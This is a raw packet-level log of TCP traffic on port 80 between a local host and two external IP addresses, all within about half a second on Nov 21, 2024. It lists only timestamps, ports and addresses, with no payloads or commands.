Nov 21, 2024 14:11:23.626446962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.626550913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.626605034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.629483938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.629497051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.629547119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.632412910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.632467031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.632543087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.635345936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.635395050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.635586977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.638351917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.638396025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.638444901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.641380072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.641433001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.641433001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.644334078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.644382000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.644459963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.646255016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.646294117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.646303892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.648322105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.648371935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.648477077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.649384975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649427891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649440050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649502993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649513960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649523973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649522066 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.649523020 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.649537086 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649621010 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.649621010 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.649697065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649708986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649720907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.649739981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.649771929 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.650187969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.650232077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.650232077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.652205944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.652252913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.652256966 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.654201984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.654254913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.654356956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.656136990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.656184912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.656342030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.658107042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.658152103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.658221960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.660084009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.660130024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.660197973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.662064075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.662106991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.662208080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.664036989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.664078951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.664148092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.666038036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.666107893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.666129112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.668018103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.668070078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.668140888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.670068026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.670114040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.670243979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.671984911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.672029972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.672087908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.673973083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.674026012 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.674065113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.675952911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.676000118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.676067114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.677906990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.677947998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.678005934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.679843903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.679904938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.679949999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.681977034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.682038069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.682101965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.726866007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.769309044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.769320011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.769372940 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.778820992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.778981924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.779023886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.779690981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.779844999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.779928923 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.781651974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.782157898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.782191992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.782320976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.784002066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.784145117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.784178019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.785790920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.785801888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.785864115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.787559986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.787604094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.787698984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.789381981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.789422035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.789513111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.791102886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.791115046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.791151047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.792757988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.792860985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.792907000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.794321060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.794357061 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.794459105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.796209097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.796221972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.796255112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.797621012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.797662020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.797812939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.799253941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.799267054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.799288034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.800734997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.800873995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.801042080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.802397013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.802439928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.802534103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.803776026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.803826094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.803962946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.805309057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.805361986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.805434942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.806319952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.806332111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.806375027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.807322979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.807368994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.807445049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.808767080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.808850050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.808860064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.810292006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.810345888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.810365915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.813415051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.813426018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.813436985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.813447952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.813458920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.813488960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.814665079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.814708948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.814748049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.816086054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.816128016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.816174030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.817539930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.817586899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.817642927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.819039106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.819097042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.819122076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.820528030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.820595026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.820630074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.821955919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.822019100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.822066069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.823462963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.823515892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.823590994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.825040102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.825076103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.825223923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.826364040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.826399088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.826462984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.827805996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.827856064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.827903986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.829267979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.829310894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.829349041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.830799103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.830838919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.830931902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.832209110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.832295895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.832344055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.833710909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.833774090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.833781958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.835122108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.835175991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.835222960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.836574078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.836621046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.836677074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.838068008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.838121891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.838232040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.839589119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.839601040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.839628935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.841006041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.841095924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.841100931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.841424942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.841510057 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.841571093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.841614962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.842421055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.842473030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.842482090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.843878984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.843919039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.843981981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.845381975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.845432997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.845454931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.845598936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.845654964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.845745087 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.845792055 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.846849918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.846898079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.846965075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.848316908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.848356962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.848428011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.849749088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.849800110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.849842072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.851221085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.851273060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.851319075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.853497982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.853593111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.853703022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.854439974 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.854477882 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.854497910 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.854551077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.854552984 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.854562044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.854597092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.855710983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.855720997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.855762005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.857125998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.857177973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.857182026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.862469912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.862528086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.862529993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.862575054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.870820045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.870893002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.870933056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.870990992 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.879168034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.879270077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.879333973 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.887660980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.887717009 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.887732983 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.887773037 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.896085024 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.896107912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.896146059 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.896182060 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.899029016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.904340982 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.904411077 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.904494047 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.904541969 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.912796021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.912875891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.912919044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.912982941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.921134949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.921286106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.921339989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:23.970850945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.970976114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.971081972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.971272945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.971326113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.971900940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.971920967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.971991062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.972891092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.972955942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.972959042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.973051071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.974119902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.974186897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.975321054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.975394011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.975434065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.975589037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.976531982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.976630926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.976670980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.977729082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.977839947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.978864908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.978944063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.978976965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.979036093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.980029106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.980143070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.980288982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.981214046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.981318951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.982352972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.982470036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.982492924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.982539892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.983520985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.983637094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.983855963 CET	49903	80	192.168.2.6	34.116.198.130
